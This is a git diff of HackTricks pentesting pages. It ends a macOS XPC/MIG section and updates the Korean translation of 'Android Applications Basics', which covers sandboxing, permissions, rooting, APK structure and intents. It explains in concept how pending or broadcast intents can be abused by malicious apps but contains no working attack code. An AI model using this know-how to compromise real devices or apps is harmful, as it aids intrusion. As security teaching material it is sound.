XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication, is a framework for **communication between processes** on macOS and iOS. XPC provides a mechanism for making **safe, asynchronous method calls between different processes** on the system. It's a part of Apple's security paradigm, allowing for the **creation of privilege-separated applications** where each **component** runs with **only the permissions it needs** to do its job, thereby limiting the potential damage from a compromised process.
|
||||
|
||||
이 **통신이 작동하는 방식** 및 **취약할 수 있는 방법**에 대한 자세한 정보는 확인하십시오:
|
||||
For more information about how this **communication work** on how it **could be vulnerable** check:
|
||||
|
||||
{% content-ref url="macos-xpc/" %}
|
||||
[macos-xpc](macos-xpc/)
|
||||
|
@ -1096,17 +1311,17 @@ XPC는 macOS 및 iOS에서 프로세스 간 통신을 위한 XNU( macOS에서
|
|||
|
||||
## MIG - Mach Interface Generator
|
||||
|
||||
MIG는 Mach IPC 코드 생성 과정을 간소화하기 위해 만들어졌습니다. 이는 RPC 프로그래밍에 대한 많은 작업이 동일한 작업(인수 패킹, 메시지 전송, 서버에서 데이터 언패킹 등)을 포함하기 때문입니다.
|
||||
MIG was created to **simplify the process of Mach IPC** code creation. This is because a lot of work to program RPC involves the same actions (packing arguments, sending the msg, unpacking the data in the server...).
|
||||
|
||||
MIG는 기본적으로 서버와 클라이언트가 주어진 정의(IDL - Interface Definition Language-)로 통신할 수 있도록 필요한 코드를 생성합니다. 생성된 코드가 어색해도, 개발자는 그것을 가져와서 그 코드가 이전보다 훨씬 간단해질 것입니다.
|
||||
MIC basically **generates the needed code** for server and client to communicate with a given definition (in IDL -Interface Definition language-). Even if the generated code is ugly, a developer will just need to import it and his code will be much simpler than before.
|
||||
|
||||
자세한 정보는 확인하십시오:
|
||||
For more info check:
|
||||
|
||||
{% content-ref url="macos-mig-mach-interface-generator.md" %}
|
||||
[macos-mig-mach-interface-generator.md](macos-mig-mach-interface-generator.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 참고 자료
|
||||
## References
|
||||
|
||||
* [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
|
||||
* [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
|
||||
|
@ -1114,3 +1329,18 @@ MIG는 기본적으로 서버와 클라이언트가 주어진 정의(IDL - Inter
|
|||
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
* [\*OS Internals, Volume I, User Mode, Jonathan Levin](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
|
||||
* [https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task\_get\_special\_port.html](https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task\_get\_special\_port.html)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,22 +1,22 @@
|
|||
# Android Applications Basics
|
||||
# 안드로이드 애플리케이션 기본 사항
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/mobile-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -31,7 +31,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
### UID 분리
|
||||
|
||||
**각 애플리케이션에는 특정 사용자 ID가 할당**됩니다. 이는 앱 설치 중에 수행되어 **앱은 해당 사용자 ID 또는 공유** 파일에 소유권이 있는 파일과만 상호 작용할 수 있습니다. 따라서 앱 자체, OS의 특정 구성 요소 및 루트 사용자만 앱 데이터에 액세스할 수 있습니다.
|
||||
**각 애플리케이션에는 특정 사용자 ID가 할당**됩니다. 이는 앱 설치 중에 수행되어 **앱은 해당 사용자 ID 또는 공유된** 파일에만 상호 작용할 수 있습니다. 따라서 앱 자체, OS의 특정 구성 요소 및 루트 사용자만이 앱 데이터에 액세스할 수 있습니다.
|
||||
|
||||
### UID 공유
|
||||
|
||||
|
@ -40,127 +40,121 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
### 샌드박싱
|
||||
|
||||
**Android 애플리케이션 샌드박스**는 **각 애플리케이션을** 별도의 사용자 ID로 별도의 프로세스로 실행할 수 있도록 합니다. 각 프로세스에는 자체 가상 머신이 있으므로 앱의 코드는 다른 앱과 격리된 상태에서 실행됩니다.\
|
||||
Android 5.0(L)부터 **SELinux**가 강제됩니다. 기본적으로 SELinux는 모든 프로세스 상호 작용을 거부한 다음 **예상된 상호 작용만 허용하는 정책을 생성**합니다.
|
||||
**Android 애플리케이션 샌드박스**는 **각 애플리케이션을** 별도의 **사용자 ID로 별도의 프로세스로 실행**할 수 있게 합니다. 각 프로세스에는 자체 가상 머신이 있어 앱의 코드가 다른 앱과 격리된 상태에서 실행됩니다.\
|
||||
Android 5.0(L)부터 **SELinux**가 강제됩니다. 기본적으로 SELinux는 모든 프로세스 상호 작용을 거부한 다음 그들 사이의 **예상된 상호 작용만 허용하는 정책을 생성**했습니다.
|
||||
|
||||
### 권한
|
||||
|
||||
앱을 설치하고 **권한을 요청할 때**, 앱은 **AndroidManifest.xml** 파일의 **`uses-permission`** 요소에 구성된 권한을 요청합니다. **uses-permission** 요소는 요청된 권한의 이름을 **name** **속성** 내에 나타냅니다. 또한 **maxSdkVersion** 속성이 있어 지정된 버전보다 높은 버전에서 권한을 요청하지 않도록 합니다.\
|
||||
Android 애플리케이션은 처음에 모든 권한을 요청할 필요가 없으며 **동적으로 권한을 요청**할 수도 있지만 모든 권한은 **매니페스트에 선언**되어야 합니다.
|
||||
앱을 설치하고 **권한을 요청할 때**, 앱은 **AndroidManifest.xml** 파일의 **`uses-permission`** 요소에 구성된 권한을 요청합니다. **uses-permission** 요소는 요청된 권한의 이름을 **name** **속성** 내에 나타냅니다. 또한 **maxSdkVersion** 속성이 있어 지정된 버전보다 높은 버전에서 권한 요청을 중지합니다.\
|
||||
Android 애플리케이션은 처음에 모든 권한을 요청할 필요가 없으며 **동적으로 권한을 요청**할 수 있지만 모든 권한은 **매니페스트에 선언**되어야 합니다.
|
||||
|
||||
앱이 기능을 노출할 때 **특정 권한이 있는 앱에만 액세스**를 제한할 수 있습니다.\
|
||||
권한 요소에는 세 가지 속성이 있습니다:
|
||||
|
||||
* 권한의 **이름**
|
||||
* **permission-group** 속성: 관련 권한을 그룹화하는 데 사용됩니다.
|
||||
* **permission-group** 속성, 관련 권한을 그룹화하는 데 사용됩니다.
|
||||
* 권한이 부여되는 방식을 나타내는 **protection-level**이 있습니다. 네 가지 유형이 있습니다:
|
||||
* **Normal**: 앱에 **알려진 위협이 없을 때 사용**됩니다. 사용자가 **승인할 필요가 없습니다**.
|
||||
* **Dangerous**: 권한이 요청된 애플리케이션에 일부 **상승된 액세스**를 부여함을 나타냅니다. **사용자가 승인을 요청**받습니다.
|
||||
* **Signature**: **구성 요소를 내보내는 것과 동일한 인증서로 서명된 앱만** 권한을 부여받을 수 있습니다. 이것은 가장 강력한 보호 유형입니다.
|
||||
* **SignatureOrSystem**: **구성 요소를 내보내는 것과 동일한 인증서로 서명된 앱 또는 시스템 수준 액세스로 실행되는 앱만** 권한을 부여받을 수 있습니다.
|
||||
* **Signature**: **구성 요소를 내보내는** 인증서와 동일한 인증서로 **서명된 앱만 권한을 부여**받을 수 있습니다. 이것은 가장 강력한 보호 유형입니다.
|
||||
* **SignatureOrSystem**: **구성 요소를 내보내는** 인증서와 동일한 인증서로 **서명된 앱 또는 시스템 수준 액세스로 실행되는 앱만 권한을 부여**받을 수 있습니다
|
||||
|
||||
## 사전 설치된 애플리케이션
|
||||
|
||||
이러한 앱은 일반적으로 **`/system/app`** 또는 **`/system/priv-app`** 디렉토리에 있으며 일부는 **최적화**되어 있습니다(`classes.dex` 파일을 찾을 수 없을 수도 있음). 이러한 애플리케이션은 때로는 **루트로 실행되는 권한이 너무 많은** 경우가 있으므로 확인할 가치가 있습니다.
|
||||
이러한 앱은 일반적으로 **`/system/app`** 또는 **`/system/priv-app`** 디렉토리에서 찾을 수 있으며 일부는 **최적화**되어 있습니다(`classes.dex` 파일을 찾을 수 없을 수도 있음). 이러한 애플리케이션은 때로는 **루트로 실행되는 권한이 너무 많은** 경우가 있으므로 확인할 가치가 있습니다.
|
||||
|
||||
* **AOSP**(Android 오픈소스 프로젝트) **ROM**에 포함된 앱
|
||||
* **장치 제조업체**가 추가한 앱
|
||||
* **휴대전화 제공업체**가 추가한 앱(제공업체에서 구매한 경우)
|
||||
* **휴대전화 제공업체**가 추가한 앱(그들로부터 구매한 경우)
|
||||
|
||||
## 루팅
|
||||
|
||||
물리적 안드로이드 장치에서 루트 액세스를 얻으려면 일반적으로 **장치** 및 **버전**에 **특정한 취약점을 이용**해야 합니다.\
|
||||
일단 취약점이 작동하면 일반적으로 Linux `su` 이진 파일이 사용자의 PATH 환경 변수에 지정된 위치(예: `/system/xbin`)로 복사됩니다.
|
||||
물리적 안드로이드 장치에서 루트 액세스를 얻으려면 일반적으로 **장치 및 버전에 특정한 취약점을 이용**해야 합니다.\
|
||||
일단 취약점이 작동하면 일반적으로 Linux `su` 이진 파일이 사용자의 PATH 환경 변수에 지정된 위치로 복사됩니다(`/system/xbin`과 같은 위치).
|
||||
|
||||
su 이진 파일이 구성된 후 다른 Android 앱이 `su` 이진 파일과 **루트 액세스 요청을 처리**하는 데 사용됩니다. 이러한 앱에는 **Superuser** 및 **SuperSU**가 포함됩니다(구글 플레이 스토어에서 사용 가능).
|
||||
su 이진 파일이 구성되면 다른 Android 앱이 `su` 이진 파일과 **루트 액세스 요청을 처리**하는 데 사용됩니다. 이러한 앱에는 **Superuser** 및 **SuperSU**가 포함됩니다(구글 플레이 스토어에서 사용 가능).
|
||||
|
||||
{% hint style="danger" %}
|
||||
루팅 프로세스는 매우 위험하며 장치를 심각하게 손상시킬 수 있음을 유의하세요
|
||||
루팅 프로세스는 매우 위험하며 장치를 심각하게 손상시킬 수 있습니다
|
||||
{% endhint %}
|
||||
|
||||
### ROM
|
||||
|
||||
**커스텀 펌웨어를 설치하여 OS를 대체**할 수 있습니다. 이렇게 하면 오래된 장치의 유용성을 확장하거나 소프트웨어 제한을 우회하거나 최신 Android 코드에 액세스할 수 있습니다.\
|
||||
**OmniROM** 및 **LineageOS**는 가장 인기 있는 펌웨어 중 두 가지입니다.
|
||||
**OmniROM** 및 **LineageOS**는 사용할 수 있는 가장 인기 있는 펌웨어 중 두 가지입니다.
|
||||
|
||||
장치를 루팅할 필요가 **항상 있는 것은 아님**을 유의하세요. **일부 제조업체는** 부트로더의 잠금 해제를 **잘 문서화되고 안전한 방식으로 허용**합니다.
|
||||
장치를 루팅할 필요가 **항상 있는 것은 아니라는 점**을 유의하세요. **일부 제조업체는** 부팅로더의 잠금 해제를 **잘 문서화되고 안전한 방식**으로 허용합니다.
|
||||
|
||||
### 영향
|
||||
|
||||
장치가 루팅되면 모든 앱이 루트 액세스를 요청할 수 있습니다. 악성 애플리케이션이 액세스를 요청하면 거의 모든 것에 액세스할 수 있으며 전화를 손상시킬 수 있습니다.
|
||||
장치가 루팅되면 모든 앱이 루트 액세스를 요청할 수 있습니다. 악성 애플리케이션이 액세스를 얻으면 거의 모든 것에 액세스할 수 있으며 전화를 손상시킬 수 있습니다.
|
||||
|
||||
## 안드로이드 애플리케이션 기초 사항 <a href="#id-2-android-application-fundamentals" id="id-2-android-application-fundamentals"></a>
|
||||
|
||||
* 안드로이드 애플리케이션의 형식은 \_APK 파일 형식\_으로 참조됩니다. 이는 기본적으로 **ZIP 파일**입니다(파일 확장자를 .zip로 변경하면 내용을 추출하고 볼 수 있음).
|
||||
* APK 내용(완전하지 않음)
|
||||
* **AndroidManifest.xml**
|
||||
* resources.arsc/strings.xml
|
||||
* resources.arsc: 바이너리 XML과 같은 사전 컴파일된 리소스를 포함합니다.
|
||||
* res/xml/files\_paths.xml
|
||||
* META-INF/
|
||||
* 여기에 인증서가 위치합니다!
|
||||
* **classes.dex**
|
||||
* 기본적으로 애플리케이션이 실행하는 컴파일된 Java(또는 Kotlin) 코드를 나타내는 Dalvik 바이트 코드를 포함합니다.
|
||||
* lib/
|
||||
* CPU 아키텍처별로 하위 디렉터리에 분리된 네이티브 라이브러리를 보관합니다.
|
||||
* `armeabi`: ARM 기반 프로세서용 코드
|
||||
* `armeabi-v7a`: ARMv7 및 그 이상 기반 프로세서용 코드
|
||||
* `x86`: X86 프로세서용 코드
|
||||
* `mips`: MIPS 프로세서 전용 코드
|
||||
* assets/
|
||||
* 앱에서 필요한 기타 파일을 저장하며 때로는 악성 소프트웨어 작성자가 추가 코드를 숨기기 위해 추가 네이티브 라이브러리 또는 DEX 파일을 포함할 수 있습니다.
|
||||
* res/
|
||||
* resouces.arsc에 컴파일되지 않은 리소스를 포함합니다.
|
||||
## 안드로이드 애플리케이션 기본 사항 <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
- 안드로이드 애플리케이션의 형식은 _APK 파일 형식_으로 참조됩니다. 이는 본질적으로 **ZIP 파일**입니다(파일 확장자를 .zip로 변경하면 내용을 추출하고 볼 수 있습니다).
|
||||
- APK 내용(완전하지 않음)
|
||||
- **AndroidManifest.xml**
|
||||
- resources.arsc/strings.xml
|
||||
- resources.arsc: 바이너리 XML과 같은 사전 컴파일된 리소스를 포함합니다.
|
||||
- res/xml/files\_paths.xml
|
||||
- META-INF/
|
||||
- 여기에 인증서가 위치합니다!
|
||||
- **classes.dex**
|
||||
- 애플리케이션이 기본적으로 실행하는 컴파일된 Java(또는 Kotlin) 코드를 나타내는 Dalvik 바이트 코드를 포함합니다.
|
||||
- lib/
|
||||
- CPU 아키텍처별로 하위 디렉터리에 분리된 네이티브 라이브러리를 보관합니다.
|
||||
- `armeabi`: ARM 기반 프로세서용 코드
|
||||
- `armeabi-v7a`: ARMv7 및 그 이상 기반 프로세서용 코드
|
||||
- `x86`: X86 프로세서용 코드
|
||||
- `mips`: MIPS 프로세서 전용 코드
|
||||
- assets/
|
||||
- 앱에서 필요한 기타 파일을 저장하며 때로는 악성 소프트웨어 작성자가 추가 코드를 숨기기 위해 추가 네이티브 라이브러리 또는 DEX 파일을 포함할 수 있습니다.
|
||||
- res/
|
||||
- resources.arsc에 컴파일되지 않은 리소스를 포함합니다.
|
||||
### **Dalvik & Smali**
|
||||
|
||||
안드로이드 개발에서는 **Java 또는 Kotlin**이 앱을 만드는 데 사용됩니다. 데스크톱 앱과 달리 Android는 이 코드를 **Dalvik Executable (DEX) bytecode**로 컴파일합니다. 이전에는 Dalvik 가상 머신이 이 bytecode를 처리했지만 최신 Android 버전에서는 Android Runtime (ART)가 이를 처리합니다.
|
||||
안드로이드 개발에서 앱을 만들 때는 **Java 또는 Kotlin**을 사용합니다. 데스크톱 앱과 달리 안드로이드는 이 코드를 **Dalvik Executable (DEX) bytecode**로 컴파일합니다. 이전에는 Dalvik 가상 머신이 이 bytecode를 처리했지만 최신 안드로이드 버전에서는 Android Runtime (ART)가 이를 처리합니다.
|
||||
|
||||
역공학을 위해 **Smali**가 중요해집니다. 이는 DEX bytecode의 사람이 읽을 수 있는 버전으로, 소스 코드를 bytecode 명령어로 번역하여 어셈블리 언어처럼 작동합니다. 여기서 Smali와 baksmali는 어셈블리 및 해체 도구를 가리킵니다.
|
||||
역공학을 위해 **Smali**가 중요해집니다. 이는 DEX bytecode의 사람이 읽을 수 있는 버전으로, 소스 코드를 bytecode 명령어로 번역하여 어셈블리 언어처럼 작동합니다. 이 맥락에서 Smali와 baksmali는 어셈블리 및 역어셈블리 도구를 가리킵니다.
|
||||
|
||||
## Intents
|
||||
|
||||
Intents는 Android 앱이 구성 요소 간이나 다른 앱과 통신하는 주요 수단입니다. 이러한 메시지 객체는 앱이나 구성 요소 간에 데이터를 전달할 수도 있으며, 이는 HTTP 통신에서 GET/POST 요청이 사용되는 방식과 유사합니다.
|
||||
Intents는 안드로이드 앱이 구성 요소 간이나 다른 앱과 통신하는 주요 수단입니다. 이러한 메시지 객체는 앱이나 구성 요소 간에 데이터를 전달할 수도 있으며, 이는 HTTP 통신에서 GET/POST 요청이 사용되는 방식과 유사합니다.
|
||||
|
||||
따라서 Intent는 기본적으로 **구성 요소 간에 전달되는 메시지**입니다. Intents는 **특정 구성 요소 또는 앱으로 직접 전송**될 수 있으며, **특정 수신자 없이 전송**될 수도 있습니다.\
|
||||
따라서 Intent는 기본적으로 **구성 요소 간에 전달되는 메시지**입니다. Intents는 **특정 구성 요소나 앱에게 직접 전달**될 수 있으며, **특정 수신자 없이 전송**될 수도 있습니다.\
|
||||
간단히 말해 Intent는 다음과 같이 사용할 수 있습니다:
|
||||
|
||||
* 주로 앱의 사용자 인터페이스를 열어 활동을 시작하는 데 사용
|
||||
* 활동을 시작하여 일반적으로 앱의 사용자 인터페이스를 엽니다
|
||||
* 변경 사항을 시스템 및 앱에 알리기 위한 브로드캐스트로 사용
|
||||
* 백그라운드 서비스를 시작, 중지 및 통신하는 데 사용
|
||||
* ContentProviders를 통해 데이터에 액세스하는 데 사용
|
||||
* 백그라운드 서비스를 시작, 중지 및 통신하기 위해 사용
|
||||
* ContentProviders를 통해 데이터에 액세스하기 위해 사용
|
||||
* 이벤트를 처리하기 위한 콜백으로 사용
|
||||
|
||||
취약하다면 **Intents는 다양한 공격을 수행하는 데 사용**될 수 있습니다.
|
||||
취약하다면 **Intents는 다양한 공격을 수행하는 데 사용될 수 있습니다**.
|
||||
|
||||
### Intent-Filter
|
||||
|
||||
**Intent Filters**는 **활동, 서비스 또는 Broadcast Receiver가 다양한 유형의 Intents와 상호 작용하는 방식을 정의**합니다. 기본적으로 이러한 구성 요소의 기능을 설명하며, 수행할 수 있는 작업이나 처리할 수 있는 브로드캐스트 유형과 같은 내용을 설명합니다. 이러한 필터를 선언하는 주요 위치는 **AndroidManifest.xml 파일**이지만 Broadcast Receiver의 경우 코드를 통해 선언할 수도 있습니다.
|
||||
**Intent Filters**는 **활동, 서비스 또는 브로드캐스트 수신기가 다양한 유형의 Intents와 상호 작용하는 방식을 정의**합니다. 기본적으로 이러한 구성 요소의 기능을 설명하며, 수행할 수 있는 작업이나 처리할 수 있는 브로드캐스트 유형과 같은 내용을 설명합니다. 이러한 필터를 선언하는 주요 위치는 **AndroidManifest.xml 파일**이지만, 브로드캐스트 수신기의 경우 코드로 작성하는 것도 가능합니다.
|
||||
|
||||
Intent Filters는 카테고리, 작업 및 데이터 필터로 구성되어 있으며 추가 메타데이터를 포함할 수 있습니다. 이러한 설정을 통해 선언된 기준과 일치하는 특정 Intents를 처리할 수 있습니다.
|
||||
Intent Filters는 카테고리, 작업 및 데이터 필터로 구성되어 있으며 추가 메타데이터를 포함할 수 있습니다. 이 설정을 통해 선언된 기준과 일치하는 특정 Intents를 처리할 수 있습니다.
|
||||
|
||||
Android 구성 요소(활동/서비스/콘텐츠 제공자/브로드캐스트 수신기)의 중요한 측면은 가시성 또는 **공개 상태**입니다. 구성 요소가 **`true`** 값을 가진 \*\*`exported`\*\*로 내보내어지거나 매니페스트에 대한 Intent Filter가 선언된 경우, 해당 구성 요소는 다른 앱과 상호 작용할 수 있습니다. 그러나 개발자는 이러한 구성 요소를 명시적으로 비공개로 유지하여 의도치 않게 다른 앱과 상호 작용하지 않도록 할 수 있습니다. 이는 매니페스트 정의에서 **`exported`** 속성을 \*\*`false`\*\*로 설정하여 달성할 수 있습니다.
|
||||
|
||||
또한 개발자는 특정 권한이 필요하도록 구성 요소에 대한 액세스를 더욱 안전하게 할 수 있습니다. **`permission`** 속성을 설정하여 지정된 권한을 가진 앱만 해당 구성 요소에 액세스할 수 있도록 강제할 수 있으며, 이를 통해 누가 상호 작용할 수 있는지에 대한 추가적인 보안 및 제어 수단을 추가할 수 있습니다.
|
||||
안드로이드 구성 요소(액티비티/서비스/콘텐츠 제공자/브로드캐스트 수신기)의 중요한 측면은 그들의 가시성 또는 **공개 상태**입니다. 구성 요소가 **`true`** 값을 가진 **`exported`**로 내보내어진 경우나 매니페스트에 대한 Intent Filter가 선언된 경우에만 다른 앱과 상호 작용할 수 있습니다. 그러나 개발자가 이러한 구성 요소를 의도치 않게 다른 앱과 상호 작용하지 않도록 명시적으로 비공개로 유지할 수 있는 방법이 있습니다. 이는 매니페스트 정의에서 **`exported`** 속성을 **`false`**로 설정하여 달성할 수 있습니다.
|
||||
|
||||
또한, 개발자는 이러한 구성 요소에 대한 액세스를 더욱 안전하게 보호하기 위해 특정 권한을 요구할 수 있습니다. **`permission`** 속성을 설정하여 지정된 권한을 가진 앱만 해당 구성 요소에 액세스할 수 있도록 강제할 수 있으며, 이를 통해 누가 상호 작용할 수 있는지에 대한 추가적인 보안 및 제어 수단을 추가할 수 있습니다.
|
||||
```java
|
||||
<activity android:name=".MyActivity" android:exported="false">
|
||||
<!-- Intent filters go here -->
|
||||
</activity>
|
||||
```
|
||||
|
||||
### 암시적 인텐트
|
||||
|
||||
인텐트는 Intent 생성자를 사용하여 프로그래밍적으로 생성됩니다:
|
||||
|
||||
```java
|
||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
|
||||
**Action**으로 이전에 선언된 intent는 **ACTION\_SEND**이고 **Extra**는 mailto **Uri**입니다 (Extra는 intent가 기대하는 추가 정보입니다).
|
||||
|
||||
이 intent는 다음 예제와 같이 manifest 안에 선언되어야 합니다:
|
||||
|
||||
```xml
|
||||
<activity android:name="ShareActivity">
|
||||
<intent-filter>
|
||||
|
@ -169,56 +163,50 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
|||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
|
||||
인텐트 필터는 메시지를 수신하기 위해 **액션**, **데이터** 및 **카테고리**와 일치해야 합니다.
|
||||
|
||||
"인텐트 해결" 프로세스는 각 메시지를 수신해야 하는 앱을 결정합니다. 이 프로세스는 **우선순위 속성**을 고려합니다. 이 속성은 **인텐트 필터 선언**에서 설정할 수 있으며, **더 높은 우선순위를 가진 것이 선택**됩니다. 이 우선순위는 -1000에서 1000 사이로 설정할 수 있으며 애플리케이션은 `SYSTEM_HIGH_PRIORITY` 값을 사용할 수 있습니다. **충돌**이 발생하면 "선택기" 창이 나타나서 **사용자가 결정**할 수 있습니다.
|
||||
"인텐트 해결" 프로세스는 각 메시지를 수신해야 하는 앱을 결정합니다. 이 프로세스는 **우선순위 속성**을 고려합니다. 이 속성은 **인텐트 필터 선언**에서 설정할 수 있으며, **더 높은 우선순위를 가진 것이 선택**됩니다. 이 우선순위는 -1000에서 1000 사이로 설정할 수 있으며 애플리케이션은 `SYSTEM_HIGH_PRIORITY` 값을 사용할 수 있습니다. **충돌**이 발생하면 "선택기" 창이 나타나므로 **사용자가 결정**할 수 있습니다.
|
||||
|
||||
### 명시적 인텐트
|
||||
|
||||
명시적 인텐트는 대상 클래스 이름을 지정합니다:
|
||||
|
||||
```java
|
||||
Intent downloadIntent = new (this, DownloadService.class):
|
||||
```
|
||||
|
||||
다른 애플리케이션에서 이전에 선언된 intent에 액세스하려면 다음을 사용할 수 있습니다:
|
||||
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
||||
context.startService(intent);
|
||||
```
|
||||
|
||||
### 보류 중인 인텐트
|
||||
|
||||
이를 통해 다른 애플리케이션이 **귀하의 애플리케이션 대신 작업을 수행**할 수 있습니다. 보류 중인 인텐트를 구성할 때는 **인텐트와 수행할 작업을 지정**해야 합니다. **선언된 인텐트가 명시적이지 않은 경우** (어떤 인텐트가 호출할 수 있는지 선언하지 않은 경우) **악성 애플리케이션이 피해 앱 대신 선언된 작업을 수행**할 수 있습니다. 또한, **작업이 지정되지 않은 경우**, 악성 앱은 **피해자를 대신하여 모든 작업을 수행**할 수 있습니다.
|
||||
이를 통해 다른 애플리케이션이 **귀하의 애플리케이션 대신 작업을 수행**할 수 있습니다. 보류 중인 인텐트를 구성할 때는 **인텐트와 수행할 작업을 지정**해야 합니다. **선언된 인텐트가 명시적이지 않은 경우** (어떤 인텐트가 호출할 수 있는지 선언하지 않은 경우) **악성 애플리케이션이 피해 앱 대신 선언된 작업을 수행**할 수 있습니다. 또한 **작업이 지정되지 않은 경우**, 악성 앱은 **피해자를 대신하여 모든 작업을 수행**할 수 있습니다.
|
||||
|
||||
### 브로드캐스트 인텐트
|
||||
|
||||
이전 인텐트와 달리 브로드캐스트 인텐트는 **여러 앱에서 수신**할 수 있습니다. 그러나 API 버전 14부터는 Intent.setPackage를 사용하여 **메시지를 수신해야 하는 앱을 지정**할 수 있습니다.
|
||||
이전 인텐트와 달리 브로드캐스트 인텐트는 **여러 앱에서 수신**할 수 있습니다. 그러나 API 버전 14부터는 Intent.set Package를 사용하여 **메시지를 수신해야 하는 앱을 지정**할 수 있습니다.
|
||||
|
||||
또한 브로드캐스트를 **보낼 때 권한을 지정**할 수도 있습니다. 수신 앱은 해당 권한이 있어야 합니다.
|
||||
또는 브로드캐스트를 **보낼 때 권한을 지정**할 수도 있습니다. 수신 앱은 해당 권한이 있어야 합니다.
|
||||
|
||||
브로드캐스트에는 **두 가지 유형**이 있습니다: **일반** (비동기) 및 **순서가 지정된** (동기). **순서**는 **수신기 내에서 구성된 우선순위에 따라** 결정됩니다. **각 앱은 브로드캐스트를 처리, 중계 또는 삭제**할 수 있습니다.
|
||||
|
||||
`Context` 클래스에서 `sendBroadcast(intent, receiverPermission)` 함수를 사용하여 **브로드캐스트를 보낼 수** 있습니다.\
|
||||
또한 \*\*`LocalBroadCastManager`\*\*에서 **`sendBroadcast`** 함수를 사용하여 **메시지가 앱을 벗어나지 않도록** 할 수 있습니다. 이를 사용하면 수신기 구성요소를 내보낼 필요가 없습니다.
|
||||
또한 **`LocalBroadCastManager`**에서 **`sendBroadcast`** 함수를 사용하여 **메시지가 앱을 벗어나지 않도록** 할 수 있습니다. 이를 사용하면 수신기 구성 요소를 내보내지 않아도 됩니다.
|
||||
|
||||
### 스티키 브로드캐스트
|
||||
|
||||
이 유형의 브로드캐스트는 **보낸 후 오랫동안 액세스할 수 있습니다**.\
|
||||
